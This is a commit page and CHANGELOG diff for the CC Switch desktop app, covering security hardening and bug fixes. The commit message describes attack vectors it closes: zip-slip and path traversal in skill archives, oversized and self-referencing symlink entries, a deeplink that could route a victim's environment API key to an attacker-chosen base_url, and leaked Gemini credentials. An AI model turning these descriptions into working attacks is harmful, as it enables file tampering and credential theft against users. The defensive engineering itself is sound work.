   merely opening the Skills panel downloads and extracts.

   `validate_repo_ref` whitelists all three fields. Branch names legally
   contain `/` (`feature/x`), so the check is per segment rather than a
   blanket separator ban; an empty branch keeps its existing "use the
   default branch" sentinel meaning, same as `HEAD`. The main guard sits in
   `download_repo` — the single convergence point for all four call paths —
   because both `skill_repos` and `skills` can be overwritten wholesale by a
   sync snapshot, which no insert-time check can prevent. Entry-point checks
   (deeplink, `add_skill_repo`, agents lock) exist so bad values surface
   immediately instead of silently failing on every later panel open.
   `build_skill_doc_url` is covered too: it feeds `readme_url`, which the
   frontend hands to `openExternal`.

3) Regressions from the previous commits in this branch, both fixed:
   - `uninstall` ran the directory guard *before* `db.delete_skill`. That
     method has exactly one call site and is not exposed as a command, so a
     row with a dirty `directory` (pre-v3.11.0 installs, or anything
     `import_from_apps` still creates today — it has no sanitiser) became
     permanently undeletable from the UI. Now the guard skips the filesystem
     work but still deletes the row.
   - `sync_to_app` propagated with `?`, so one bad row aborted the entire
     app's skill sync — and that runs on provider switch. Now it warns and
     continues per entry.
   - `require_valid_directory` returned `sanitize_install_name`'s normalised
     value, which trims. A DB value of `" foo "` would then join as `"foo"`
     and miss the real directory. It now validates without rewriting.

4) Guard applied to the sinks the earlier commits missed: `migrate_storage`
   (rename + remove_dir_all), `update_skill` (delete + write attacker-named
   paths), `import_from_apps` (both a sink and the source of dirty values —
   `selection.directory` arrives raw over IPC), `resolve_uninstall_backup_source`
   (copies any directory into the backup area, which the UI then lists),
   `check_updates`, and `migrate_skills_to_ssot`.

5) Extraction limits. The archive bytes were fully attacker-controlled via
   (2), and this path had no ceiling of any kind, unlike
   `webdav_sync/archive.rs`. Added entry count, total extracted bytes, a
   symlink-target cap (zip 2.4.2's `make_reader` does not truncate at the
   declared `uncompressed_size`, so a symlink-flagged entry that inflates to
   gigabytes was read straight into memory), per-directory charging (a
   directory-only archive writes no content bytes but still consumes inodes),
   and a download-body cap (`response.bytes()` buffered the whole archive
   before any limit applied). Budget is charged on bytes actually read and
   written, never on sizes declared in the archive header.

   Symlink materialisation is charged to the same budget, and a target that
   contains the link itself (`dir/link -> ..`) is now rejected: the existing
   "must stay inside base" check passes for it, and the recursive copy then
   re-copies its own output every level until PATH_MAX.

6) Temp directories are now RAII. `download_repo` and `extract_local_zip`
   called `TempDir::keep()` immediately and relied on every exit path
   remembering `remove_dir_all`. Several did not — including
   `fetch_repo_skills`, the highest-frequency path of all. Returning the
   guard makes the leak unrepresentable at the call sites.

* fix(config): make removals and edits survive user-authored config shapes

The previous commits hardened the *write* side of the MCP tables against a
non-table `mcp_servers`. The read/delete side kept using `as_table_mut`,
which returns None for an inline table (`mcp_servers = { foo = {...} }` —
valid TOML). Removal then silently did nothing: the UI reported success, the
entry stayed in the file, and Codex loaded it again on next start. That is
worse than the panic it mirrors, because users usually reach for the toggle
precisely when an MCP server is misbehaving. Both Codex and GrokBuild now use
`as_table_like_mut` on both sides.

Normalisation is no longer silent either. Replacing a user's hand-written
`mcp_servers = "x"` with an empty table destroys data, so all four sites that
do it now log a warning first.

`update_codex_toml_field` had the same asymmetry with a different symptom:
when `model_providers` or `[model_providers.<id>]` was an inline table,
`as_table_mut` returned None and execution fell through to the "write a
top-level field" fallback. The user's `base_url` edit landed at the wrong
level, Codex never read it, and nothing reported a problem.

`opencode_config` parses `~/.config/opencode/opencode.json` with json5 into a
bare Value and never checked the root's shape. A user file of `[]` or a
scalar made `set_provider`, `set_mcp_server` and `add_plugin` all panic on
index-assignment, inside a Tauri command, unwinding across the FFI boundary.
(A top-level `null` is fine — serde_json promotes it.) Rejecting a non-object
root at the single read site fixes all three. Rejecting rather than rebuilding
is deliberate: the file also holds the user's own `model` / `theme` settings,
so a silent rebuild would delete them. Same treatment for the `provider` and
`mcp` sections, whose non-object forms made writes silently no-op.

* fix(proxy): recover a malformed Anthropic content_block as text

Sanitising a non-object `content_block` to `{}` stops the panic but creates a
quieter failure: the final Responses conversion matches on the block's `type`
and silently drops anything it does not recognise, so a garbled block header
turned into a `completed` response with empty output. The client saw the model
say nothing, with no signal that data had been discarded.

The replacement now carries `type: "text"`. The deltas that follow a malformed
header are usually well-formed, so this recovers the common case; a tool-use
block still yields nothing, exactly as before. A warning is logged when the
substitution happens.

The regression test now asserts through `anthropic_response_to_responses`
rather than on the intermediate value — asserting on the intermediate alone
passes while the client still receives an empty response.

* fix(grokbuild): decouple base_url from credential resolution, reject env_key-only links

`resolve_usage_credentials` called `extract_credentials(...).unwrap_or_default()`,
so a missing credential blanked the base_url too — even though it is written
right there in the config. Removing the `XAI_API_KEY` fallback in the earlier
commit widened that considerably: a GUI process on macOS does not inherit the
shell environment, so an `env_key` that resolves fine in a terminal resolves to
nothing here. The result was a Base URL shown in the UI that differed from the
one actually used, `{{baseUrl}}` expanding to empty in usage scripts (turning
requests relative), and native balance queries reporting "API key is empty"
while hiding the real cause. The two values are now resolved independently, via
the existing `grok_config::extract_base_url`, matching how the Codex arm of the
same function already works.

A deeplink whose only credential is `env_key` is now rejected by name. It was
already unimportable — `build_grokbuild_settings` has no `env_key` slot — but it
failed with the generic "API key is required", which reads like a malformed link
and invites the obvious "just carry the name over" fix. Carrying it over is
exactly what must not happen: the forwarder and the usage query both resolve
`env_key` at request time, so the victim's environment secret would still reach
the link's `base_url`. Same leak, merely deferred. The message says so, and the
test sets the probe variable so that restoring the resolution turns it red.

* fix(security): scrub credentials already leaked into the Gemini shared snippet

Fixing the extractor only prevents new contamination. A Gemini snippet is never
re-extracted once it exists — startup auto-extract and post-import extraction
both require `snippet.is_none()`, and the on-switch rewrite only covers Claude
and Codex — so existing users keep injecting the leaked key into live config,
the proxy upstream, and the new-provider form, where another account's key is
plainly visible.

Removing it from the snippet alone would make things worse. Merge and strip
cancel out by *value equality*: on switch-away, `remove_common_config_from_settings`
deletes the injected keys using the snippet as its only record of what to look
for. Once the key is gone from the snippet, the residue left in live config is
backfilled verbatim into the victim provider's `settings_config`, turning a
transient leak into a permanent one. So the cleanup covers all four locations at
once, and step order is itself a safety property: every fallible step runs before
the irreversible one, and a failure returns an error so the next start retries
from an intact state.

Deletion is by key *and* value, never by key name alone, so a provider's own
same-named key with a different value survives. The `~/.gemini/.env` edit
preserves layout rather than round-tripping through
`parse_env_file`/`serialize_env_file`: that pair drops comments, blank lines and
unparseable lines, collapses duplicate keys and re-sorts the file. Acceptable
when re-projecting everything, destructive for a targeted removal the user never
asked for — in testing it reduced a six-line fixture to one line, taking the
user's own key with it.

An audit record is written before any provider row changes, listing key names and
affected provider ids but *no values*: `settings` is not in `SYNC_SKIP_TABLES`,
so it is uploaded by WebDAV/S3 sync, and these are precisely the credentials that
must be destroyed. Keeping values would trade one deletion for a plaintext copy
that spreads across devices, has no UI to reach it, and never expires. It is
written only when absent, so a partially-applied earlier run cannot overwrite the
original pre-cleanup state.

Consequence, intentional: some Gemini providers will now report a missing API key
and need one entered. That key was never theirs. (The victim's own value was
already overwritten at merge time and cannot be recovered — worth noting in the
release notes, along with a recommendation to rotate the leaked key.) The snippet
row is deleted rather than set to `{}` when nothing shareable remains, and the
`cleared` flag is deliberately not set — either would disable auto-extract
permanently and prevent the user's legitimate shared config from ever coming back.

The frontend snippet validator is aligned with the backend matcher. It had the
same two hardcoded key names, so a hand-edited snippet could put `GOOGLE_API_KEY`
straight back with no error.

---------

Co-authored-by: Claude <noreply@anthropic.com>
Co-authored-by: Jason <farion1231@gmail.com>
2026-07-28 16:34:11 +08:00
140 changed files with 12294 additions and 4350 deletions
+118
View File
@@ -5,6 +5,124 @@ All notable changes to CC Switch will be documented in this file.
The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.0.0/),
and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0.html).
## [3.19.1] - 2026-07-31
Development since v3.19.0 is a maintenance pass rather than a feature wave — and the first release in this project's history that deletes more than it adds. Three Chinese Codex gateways move onto native Responses and no longer need local routing takeover: DeepSeek connects straight to `api.deepseek.com` and brings with it a general mechanism for mirroring a vendor's own model catalog verbatim, so the GPT-5 harness and the freeform `apply_patch` registration stay self-consistent instead of collapsing into the neutral template; Volcengine's Ark Coding Plan follows now that the official documentation confirms `/api/coding/v3` serves Responses; and Tencent Hunyuan's TokenHub joins as a new preset. The correctness sweep covers four failures visible in the field: Claude Desktop usage has been counted twice since v3.18.0, once as a proxy row and once as an imported session row (#5938); switching back to the built-in official Codex provider left a third-party key in `auth.json`, so Codex authenticated to the official endpoint with the wrong credential and returned 401 without ever falling through to its login screen; `grok update` failed from Settings with a bare `os error 2` because a GUI-launched app cannot see node; and Grok Build's proxy takeover returned 404 on any non-Responses backend while every request minted a fresh session id (#5677). Rounding it out, nine interface strings that rendered as Simplified Chinese in every language are localized and the Traditional Chinese About page gains the thirty tool-manager strings it was missing, eight models that silently billed at zero gain built-in prices, deep-link import confirmations mask more and truncate less, and 3,166 lines of superseded code plus four npm dependencies are removed.
**Stats**: 12 commits | 71 files changed | +2,324 insertions | -3,680 deletions
### Added
- **Official Vendor Model Catalogs Mirrored for Native Responses Providers**: Codex reads model capabilities from a catalog file, and CC Switch generated every provider's catalog from a neutral template — which is right for an aggregator, but strips capabilities a vendor's own integration depends on. A vendor whose published catalog is bundled with the app is now mirrored verbatim instead. DeepSeek is the first: `src-tauri/src/resources/codex_deepseek_catalog_template.json` carries its `deepseek-v4-flash` and `deepseek-v4-pro` entries with `apply_patch_tool_type: "freeform"`, `web_search_tool_type: "text"`, `supports_search_tool: true`, the low/high/max reasoning levels, and the 17,644-character GPT-5 harness in `base_instructions` and `model_messages` — which has to travel together with the freeform tool registration, because the harness instructs the model to use `apply_patch`. The gate is deliberately narrow: the provider must resolve to the native-Responses profile **and** its `base_url` must be on `deepseek.com`. Matching is by host only and never by model brand, because these entries grant capabilities that an aggregator reselling the same model may not implement. Explicit per-model overrides in the provider's own catalog still win, and an unrecognised model id clones the flagship entry while keeping its own slug. Every other provider profile emits exactly the catalog it did before.
- **Tencent Hunyuan (TokenHub) Codex Preset**: A "Tencent Hunyuan" entry joins the Codex preset picker under the Opensource Official category, between Bailian and StepFun. It writes `https://tokenhub.tencentmaas.com/v1` with `wire_api = "responses"` and the `disable_response_storage = true` that TokenHub requires, declares `hy3` and `hy3-preview` at a 256K context window (rather than accepting Codex's 128K default), and marks both text-only so `view_image` payloads are never sent to a model that cannot read them. Because it is a native Responses provider, Codex talks to the gateway directly and no local routing is needed; the generated catalog uses the neutral native template, which pins `shell_type = "shell_command"` and drops the freeform `apply_patch` registration that native gateways reject. The address manager and latency test see two candidates from the start — the primary `.com` host and the official `.cn` backup. The region-scoped international site is deliberately excluded, since API keys do not carry across sites. Note that the API key must be a TokenHub key created with the Hy3 scope; Coding Plan and Token Plan subscription keys do not work against this endpoint.
- **Built-In Pricing for Eight Models That Billed at Zero**: `gpt-5.3-codex-spark`, `gemini-3.5-flash-lite`, `kimi-k2.7-code-highspeed` (2x its `kimi-k2.7-code` base, matching Kimi's Turbo pattern), `glm-5-turbo`, `glm-5v-turbo` and `qwen3.6-flash` had no row in the built-in pricing table and could not be reached by the prefix fallback, so every request against them was recorded at zero cost. Two more rows, bare `claude-opus-4-6` and `claude-sonnet-4-6`, close a subtler gap: model-id resolution strips a date suffix but never adds one, so a log row carrying the undated id matched nothing at all. All eight are seeded insert-if-absent, so a price you already customized is untouched.
- **Grok Build Joins the Failover Tabs and the Environment-Conflict Check**: The failover settings gain a fourth tab for Grok Build alongside Claude Code, Codex and Gemini, and the startup environment-conflict banner now detects a shell-exported `XAI_API_KEY` or `GROK_DEFAULT_MODEL` — variables that silently override whatever provider is selected. Detection distinguishes exact names from prefixes, so CC Switch's own `GROK_BIN_DIR` and `GROK_HOME` are not reported.
### Changed
- **DeepSeek and Volcengine Ark Coding Plan Connect to Codex Directly, Without Local Routing**: Both presets were declared OpenAI Chat, which made them takeover-required: the provider card carried the "needs routing" badge, switching with the proxy off raised the routing prompt, and every request travelled Codex → local proxy → Responses-to-Chat conversion → upstream. Both vendors now publish official Codex integrations confirming their endpoints serve the Responses API — DeepSeek's `api.deepseek.com` and Volcengine's `/api/coding/v3` — so both presets declare native Responses, the badge and the prompt disappear, and Codex connects straight to the gateway. The generated `config.toml` is unchanged in both cases, since it already emitted `wire_api = "responses"`; what changes is the catalog profile and, for DeepSeek, the context window, which moves from 1,000,000 to the vendor's own 1,048,576. BytePlus deliberately stays on Chat routing until the international site's documentation is verified separately. The Volcengine preset also gained a comment recording a billing rule worth knowing: the pay-as-you-go `/api/v3` endpoint must never be added to this preset's backup addresses, because it bills separately instead of drawing down plan quota.
- **Catalog `displayName` and `contextWindow` Are Now Explicit-Only**: Both fields previously carried local defaults — the model id and a 128,000-token window — applied before a vendor value could be consulted, so a mirrored catalog would have had its 1M window overwritten with 128K. They are now optional, with the fallbacks applied one level down at entry construction, which makes "left blank" mean "keep whatever the vendor declared". Providers that set the fields explicitly, and every non-mirrored profile, emit identical catalogs to before.
### Fixed
- **Claude Desktop Usage Was Counted Twice**: Claude Desktop traffic through the local gateway landed in the usage dashboard once as a proxy row and once more as an imported transcript row, so its tokens, cost and request counts read roughly double. The regression shipped in v3.18.0: proxy dedup ids were scoped as `session:{app_type}:{provider_id}:{message_id}` for every app except `claude`, which put `claude-desktop` in its own namespace while the transcript importer kept writing the same Claude message under the bare `session:{message_id}` shape with `app_type = 'claude'`. All three dedup defenses failed at once — the primary-key convergence that lets a proxy row absorb an existing session row, the write-side fingerprint probe, and the read-side filter, the latter two both comparing `app_type` with strict equality. The two apps now share the bare namespace again, and the two comparisons are widened by a one-way rule where a `claude` session row can be absorbed by a `claude-desktop` proxy row but never the reverse. Because the read-side filter is also what daily rollups aggregate through, already-stored duplicates stop being counted without any row being rewritten or deleted — see Upgrade notes for the retention limit on that. For Codex, Gemini and OpenCode the widened comparison collapses to the previous exact match, and quota checks keep strict app matching. (#5938, #5951)
- **Switching Back to the Official Codex Provider Stranded You on a 401 With No Login Screen**: With Codex API-key preservation off (the default), switching to a third-party provider writes that vendor's key into `~/.codex/auth.json`. Switching afterwards to a built-in official provider — whose stored credentials are empty — took the config-only write path, so `config.toml` was replaced while the third-party `OPENAI_API_KEY` stayed on disk. Codex then authenticated to the official endpoint with a foreign key and got 401, and because `auth.json` existed it never fell through to its own login screen, leaving no way out from inside the app. After a successful switch to an official Codex provider, CC Switch now deletes an `auth.json` that contains only an `OPENAI_API_KEY` with no first-class credential beside it — OAuth tokens, a personal access token, an agent identity or a Bedrock key all mark the file as real and leave it untouched, while metadata such as `auth_mode`, `last_refresh` or an account id can no longer shield a stale key. Deleting rather than writing `{}` is deliberate: an empty object resolves to ChatGPT mode without tokens and errors at bootstrap, whereas a missing file yields the login screen. The cleanup runs only after the outgoing provider has been backfilled into the database, so the removed key is preserved and comes back when that provider is selected again. Live-config reads were relaxed in the same change so the post-cleanup state — no `auth.json`, an existing `config.toml` — is no longer reported as "Codex is not installed".
- **Grok Build Upgrades From Settings Failed With a Bare `os error 2`**: Upgrading Grok Build from Settings → About failed with `Error: No such file or directory (os error 2)` and nothing else. The cause is an asymmetry between how CC Switch probes tools and how it runs them: probing goes through a login shell, which sources the user's rc files and therefore sees nvm, Homebrew and Volta, while lifecycle scripts ran under a non-login shell inheriting the narrow PATH a GUI app is launched with. That normally does not matter, because anchored commands invoke binaries by absolute path — but grok 0.2.112 moved self-update onto npm distribution, so `grok update` now spawns `npm view` and `npm i -g` internally, and npm resolves node through its own shebang. The inner spawn returned ENOENT, which grok surfaced as the bare error. Lifecycle commands on macOS and Linux now run with the login shell's real PATH merged ahead of the inherited one, read through `/usr/bin/env` rather than by echoing the variable, because fish stores PATH as a list and would emit space-separated segments. Native Grok's update additionally chains the official xAI installer as a fallback — deliberately not `npm i -g`, which shares both of the primary's failure modes; the installer is the only node-free path, lands in the same location, and rewrites the CLI's own `installer` setting back to `internal`, healing users whom an earlier npm fallback had moved onto npm distribution.
- **Grok Build Proxy Takeover Returned 404, and Every Request Looked Like a New Session**: Enabling takeover on a Grok Build provider whose API format was OpenAI Chat or Anthropic produced an immediate 404 with no failover and no usage record — takeover rewrote the base URL and key but left the backend field alone, so the CLI posted to a route the proxy does not register. Takeover now also pins the backend to Responses; the per-provider downgrade to Chat Completions still happens inside the forwarder, and the forced value reverts with the whole live config when the proxy stops. Separately, proxy session extraction recognised only Codex and OpenAI clients, so every Grok Build turn minted a fresh session id marked as not client-provided, which suppressed prompt-cache key injection and per-session grouping in the usage dashboard. Grok's own headers are now read — the conversation id first, then the session id, ignoring the per-request id — under a distinct `grokbuild_` prefix so its rows cannot collide with Codex's. (#5677)
- **Nine Interface Strings Rendered as Simplified Chinese in Every Language**: Nine strings appeared in Simplified Chinese regardless of the selected language, English and Japanese included. Each call site used the inline-default form with a Chinese literal, but the key existed in none of the four locale files — and i18next resolves a key through the language chain before it considers an inline default, so the English fallback never engaged and the Chinese literal won everywhere. The affected strings cover the Grok Build provider form's validation toast, the failover tooltip shown when an app is not yet taken over, the warning raised when stopping Claude Desktop routing while another app holds takeover and the reason line that explains why routing must start, the duplicate-provider id read failure, the empty Codex common-config error, the routing service's stop and stop-failed toasts, and the "unpriced" cost label the usage tables show for a request that carries tokens but computes to zero. All nine now exist in Chinese, English, Japanese and Traditional Chinese. (#5960)
- **The Traditional Chinese About Page Fell Back to English in the Tool Manager**: With the interface set to Traditional Chinese, the tool management section of the About page rendered in English — version rows, install and update buttons, result toasts, the install-conflict diagnosis and the entire upgrade-confirmation dialog. The panel was built out across three earlier changes that added labels to Chinese, English and Japanese only, and because i18next falls back to English rather than failing, thirty missing keys were invisible in testing. This gap shipped in every release from v3.16.0 through v3.19.0. All thirty strings are now translated, the install hint was brought in line with the other locales, and a new locale test asserts that every tool-management label exists in all four languages with matching interpolation variables, so this class of drift fails the suite instead of shipping. (#5943)
- **Seeded Model Prices Disagreed With Vendor List Prices**: Costs are frozen at log time from the built-in pricing table, so a stale seed quietly mis-bills every subsequent request. Four rows were corrected: `deepseek-chat` and `deepseek-reasoner` are now legacy aliases of V4 Flash at $0.14/$0.28 per million input/output with $0.0028 cache read (from $0.27/$1.10 and $0.55/$2.19); `minimax-m3` halves to $0.30/$1.20, the official standard tier; and `gpt-5.6-luna` drops 80% to $0.20/$1.20 while `gpt-5.6-terra` drops 20% to $2/$12, following OpenAI's 2026-07-30 price cut, with `gpt-5.6-sol` deliberately unchanged and the family's cache-write ratio preserved. The repairs rewrite a row only when all four of its cost columns still hold the exact previous built-in values, so a price you edited yourself — or one set by models.dev sync — is never touched.
### Security
- **Deep-Link Import Confirmations Mask More and Truncate Less**: A continuation of the `ccswitch://` confirmation hardening in v3.19.0. Config previews are now built by one shared module that masks secrets recursively through nested TOML tables and JSON objects, which fixes two opposite defects: a Grok Build import rendered no configuration preview at all, while a Codex import printed embedded `api_key` values in the clear. The 300-character truncation on the configuration preview is gone — the full document now renders inside a scrollable box, closing the last place the confirmation could hide part of what it was about to write. Masking itself is stricter everywhere it is used, including the MCP import confirmation: the sensitive-name matcher gained `AUTHORIZATION`, `COOKIE` and `CREDENTIAL` alongside exact matches for `AUTH` and `BEARER`, masked values reveal four leading characters instead of eight, and a value of eight characters or fewer is now replaced entirely rather than shown. Finally, the frontend Base64 decoder no longer trims surrounding whitespace, which could discard a `+` that URL decoding had turned into a space — the same class of frontend/backend decoder divergence fixed in v3.19.0, where the dialog shows one thing and the importer writes another.
### Internal
- **Superseded Code Removed: 3,166 Lines, Fourteen Modules and Four Dependencies**: A deletion pass over code that had no caller. On the Rust side it drops the provider icon inference table, a placeholder health checker, a second never-wired SSE implementation with its own stream and non-stream handlers, two unused proxy session types, and four unreferenced usage parsers along with a dead cost-calculation entry point — the live billing path, its auto-detecting parsers and session id extraction are untouched. Twenty-two `#[allow(dead_code)]` suppressions, which are why the compiler never flagged any of it, go with them. On the front end, fourteen modules with no importer are deleted, including a prompt form modal and a repository manager both superseded by panel rewrites, a duplicate proxy config hook, a circuit-breaker panel that never had an importer in the project's history, and three schema files; their strings are removed identically from all four locales. The Tauri commands behind them are deliberately kept. Four unused npm dependencies are dropped. Two icon-extraction scripts that regenerated the hand-curated icon index are removed, and the index header now states that automatic regeneration is intentionally unsupported. A companion change consolidates proxy status and takeover state onto a single React Query layer — a second, parallel set of hooks over the same commands had zero call sites, so its query keys never had an observer and the invalidations aimed at them were no-ops. Query key strings are byte-identical and the surviving hook keeps its existing poll behavior. (#5916, #5928)
### Upgrade notes
- No database schema migration in this release — `SCHEMA_VERSION` stays at 16, so no pre-migration backup is triggered.
- Claude Desktop's double-counted usage corrects itself retroactively, but only within the detail-row retention window. The fix suppresses duplicate rows at query time rather than rewriting or deleting anything, so every affected day whose detail rows are still present recovers its correct total on next launch. Detail rows older than 30 days are aggregated into daily rollups and pruned, and a day already rolled up by a build without this fix keeps its inflated figure permanently. The regression entered with v3.18.0 (2026-07-21).
- The eight newly priced models are re-costed retroactively where possible: startup backfills requests that were logged with zero cost, so dashboard totals for those models will rise. Rows already rolled up and pruned stay at zero. The four repriced models work the other way — backfill only touches zero-cost rows, so requests already logged keep the old rate and only new requests bill at the new one; historical and current spend for the same model will differ. Manual price edits, models.dev sync values and deletion tombstones are re-applied after seeding and always win.
- Preset changes apply only to newly created providers. A DeepSeek or Volcengine Ark Coding Plan provider already saved keeps its stored API format, keeps requiring local routing, and keeps its old catalog; re-create it from the preset, or switch the API format in the provider form, to get the direct connection. A provider that is already on native Responses with a `deepseek.com` base URL picks up the mirrored official catalog on its next switch without any re-save, because the gate reads the live configuration.
- `deepseek-v4-pro` cannot be used over the direct connection yet. It stays listed in the preset, and in the mirrored vendor catalog, but DeepSeek has not opened its Codex integration for that model — early August 2026 by their own estimate — so selecting it while the provider is on native Responses fails upstream. Use `deepseek-v4-flash`, which is the preset default and unaffected. To use pro today, switch that provider's API format back to OpenAI Chat and enable local routing takeover: that is the path DeepSeek took before this release, and the proxy's Responses-to-Chat conversion serves pro exactly as it did.
- The mirrored DeepSeek catalog declares a minimum Codex client version of 0.144.0, which CC Switch does not verify — the freeform `apply_patch` registration it carries needs that release or newer. The generated catalog file also grows to roughly 75 KB for the two mirrored models, since each carries the full harness text.
- Because DeepSeek, Volcengine Ark Coding Plan and Tencent Hunyuan no longer require takeover, their traffic can bypass the local proxy entirely, and per-request proxy usage accounting does not see it. The usage itself is neither lost nor indistinguishable — Codex session-log import still records it — but that path carries no provider identity: all Codex usage that did not go through the local proxy is grouped under a single `Codex (Session)` entry, official-subscription consumption included. So a provider moving from routed to direct also moves its usage out from under its own name. Model attribution is unaffected: every row keeps its model id, and the usage panel's per-model table still separates `deepseek-v4-flash`, `hy3`, `ark-code-latest` and the official GPT models into their own rows with their own token and cost figures. Keep local routing takeover enabled only if you need the provider dimension specifically — for instance to compare the same model across several aggregators.
- The stale Codex `auth.json` cleanup is gated on the incoming provider carrying the explicit official category and on the outgoing provider being backfilled successfully. An official entry created by hand without that category, or a switch whose backfill failed, still leaves the residue behind.
- Enabling proxy takeover on a Grok Build provider now rewrites its backend to Responses in the live configuration. The stored provider row is untouched and the live file is restored from its backup when the proxy stops.
- On macOS and Linux, every tool install and update triggered from Settings → About now runs with the login shell's PATH merged ahead of the inherited one, so a binary a lifecycle script resolves by name may resolve differently than before; each action also spawns one extra shell to read that PATH, which executes the user's interactive startup files. Windows is unchanged. Users on grok 0.2.112 or later may see two enumerated installations — the native one plus a global npm package that `grok update` created itself; they are kept in sync upstream and report the same version.
- Environment-conflict detection for Claude Code, Codex and Gemini moved from substring to prefix matching, so variables that merely contain an app's name — `MY_ANTHROPIC_API_KEY`, `OLD_GEMINI_API_KEY` — are no longer reported as conflicts.
- Deep-link import confirmations now reveal less of each secret than before: four leading characters instead of eight, and values of eight characters or fewer are masked entirely.
## [3.19.0] - 2026-07-30
Development since v3.18.0 is headlined by a security-hardening wave and a proxy correctness fix with immediate field impact. On the security side (#5811 and follow-ups): skill installs from GitHub repositories are hardened against zip-slip and repository-coordinate path traversal with hard archive limits; a Gemini common-config credential leak is closed and a one-time startup cleanup scrubs keys that already leaked into other providers' configs; imported SQL backups now run under a SQLite authorizer that denies `ATTACH` and every other statement that can reach outside the import database; common-config snippet handling no longer follows `__proto__` into the global prototype; terminal launch escapes project paths with POSIX single quotes so a directory name can no longer inject commands; and `ccswitch://` import confirmations show every argument, env var, URL, and the complete usage-script body — nothing hidden by truncation, nor by a Base64 variant the dialog could not decode, credential-shaped values masked — flag risky values, and import usage scripts disabled by default. On the proxy side, tool-result images are lifted out of stringified tool text and re-emitted as native media on every conversion bridge, ending the ~9,000× token inflation that pushed Codex sessions past their context window after a few screenshots (#4465, #5663). Usage statistics gain opt-in automatic price sync from models.dev with a persistent local override file (#5734), plus coverage of Grok CLI's official OAuth mode imported from session logs and SuperGrok subscription quota on provider cards. Rounding it out: in-app updates are served from a Cloudflare R2 mirror at `dl.ccswitch.io` with GitHub as fallback, Codex usage import reuses parsed parent rollouts across forked sessions (#5626), preset defaults advance to Claude Opus 5, GPT-5.6 Sol, and Gemini 3.6 Flash, the OpenClaw Kimi For Coding base URL is corrected, and the GPT-in-Claude-Code routing guide is now available in English and Japanese.
**Stats**: 38 commits | 132 files changed | +14,926 insertions | -1,415 deletions
### Added
- **Automatic models.dev Pricing Sync**: The Usage panel's pricing section gains an opt-in (off by default) "Automatic models.dev pricing sync" card: once enabled, CC Switch refreshes the selected models' prices from models.dev at launch, at most once every six hours, overwriting built-in or hand-edited prices that share the same normalized model ID — enabling shows a confirmation that spells this out. A "Choose models" dialog exposes the full models.dev catalog with search and filtering, alongside an "automatically include common models" option that tracks the most recent Claude, GPT, Gemini, Grok, DeepSeek, Qwen, MiMo, LongCat, Kimi, MiniMax, and GLM releases (up to six per family, individually excludable). The card shows the last sync time and last error, offers "Sync now", and can open or reload the local pricing file. From this version onward, manual price overrides and deletions are also recorded in a human-editable `~/.cc-switch/model-pricing.json` next to the database and re-applied at every startup, so they survive database rebuilds — and deleting a built-in price finally sticks across restarts via a tombstone instead of being re-seeded. The file starts empty and deliberately does not back-fill from the existing pricing table, so price edits made before this version still live only in the database until you re-save them. Whenever a sync actually changes a price, historical usage rows that never got a cost (zero or missing) are backfilled at the new price — rows already carrying a computed cost keep their original figures; a failed or offline fetch never blocks startup. Non-text and deprecated models (audio, image, video, embedding, moderation, realtime, TTS, transcription) are filtered out of the models.dev list, which also cleans up the existing manual price picker. (#5734)
- **Grok Build Usage Tracking in Official OAuth Mode**: Usage from Grok CLI's official OAuth mode — which cannot be routed through the local proxy, since Grok uses an empty config as the mode switch — is now recorded in the usage dashboard. Per-turn usage is imported from the `turn_completed` events in `~/.grok/sessions` (and archived sessions) `updates.jsonl` files as part of the regular session-log sync; costs prefer the exact figure the CLI reports and fall back to local pricing, with a `grok-4.5-build` row seeded at $2/$6 per million input/output tokens and $0.30 cache read. Imported rows are keyed on the upstream per-turn ID so rewinding a session cannot double count, and a settle window plus a recent-proxy-activity check prevents the same traffic being counted twice when routing is also in use. The rows appear under the provider name "Grok Build (Session)", the app filter gains a Grok Build option, and the data-source breakdown gains a "Grok Build Session" entry with its own icon, in all four languages.
- **SuperGrok Subscription Quota on Provider Cards**: Grok Build providers with category `official` now show SuperGrok subscription usage directly on the provider card, alongside the existing Claude Code, Codex, and Gemini official-subscription footers: CC Switch reads the Grok CLI's OAuth credentials from `~/.grok/auth.json` and queries the grok.com billing endpoint for the credit window's used percentage and reset time, labelling the window Weekly or Monthly when the reset distance identifies it, and otherwise a new "Credits" tier that appears as a `c` group in the tray usage summary. Transient network problems keep the last good reading and retry instead of blanking the footer; an expired token surfaces a hint to run `grok login` again. Managed xAI OAuth (SuperGrok) providers in the Claude Code, Claude Desktop, and Codex sections render the same quota automatically from the account bound to the provider and hide their usage-script entry since the quota is built in. Note that Grok Build "officialness" is now decided solely by the provider's `category` field rather than by inspecting config contents.
- **Built-in Pricing for Claude Opus 5**: `claude-opus-5` joins the built-in pricing table at $5 / $25 per million input/output tokens, with $0.50 cache read and $6.25 cache write, so its usage no longer reports zero cost without a manual entry. Seeded insert-if-absent, so any price you already customized is untouched. (Opus 5 fast mode is billed through a separate path and deliberately not seeded.)
- **Preset Catalog Updates**: A6API — a token aggregator that lists several upstreams for the same model and routes to the cheaper, more stable one — joins the sponsor presets across all eight apps; the PackyCode preset gains three backup endpoints selectable in the address manager and latency test (on the five preset families that support endpoint candidates); the AICoding partner preset returns across seven app types; and sponsor ordering was re-synced so the in-app list matches the READMEs.
### Changed
- **Default Preset Models Upgraded to Claude Opus 5, GPT-5.6 Sol, and Gemini 3.6 Flash**: Built-in presets now default to the current model generation: `claude-opus-5` replaces `claude-opus-4-8` in all three naming forms, `gpt-5.6-sol` replaces `gpt-5.5` and bare `gpt-5.6`, and `gemini-3.6-flash` replaces `gemini-3.5-flash`. The same IDs were carried into everything that mirrors the presets — universal/NewAPI defaults, the Codex custom `config.toml` template, agent and category recommendations, form placeholders, and all four locales — and `gemini-3.6-flash` was added to the built-in pricing table ($1.50 / $7.50 per million input/output, $0.15 cache read) so it costs correctly out of the box. The Code0 and Qiniu Gemini presets, still pinned to `gemini-3.1-pro-preview`, were brought onto the same 3.6 Flash baseline — a deliberate tier change, since there is no 3.6 Pro release and 3.5 Pro remains limited to partner testing.
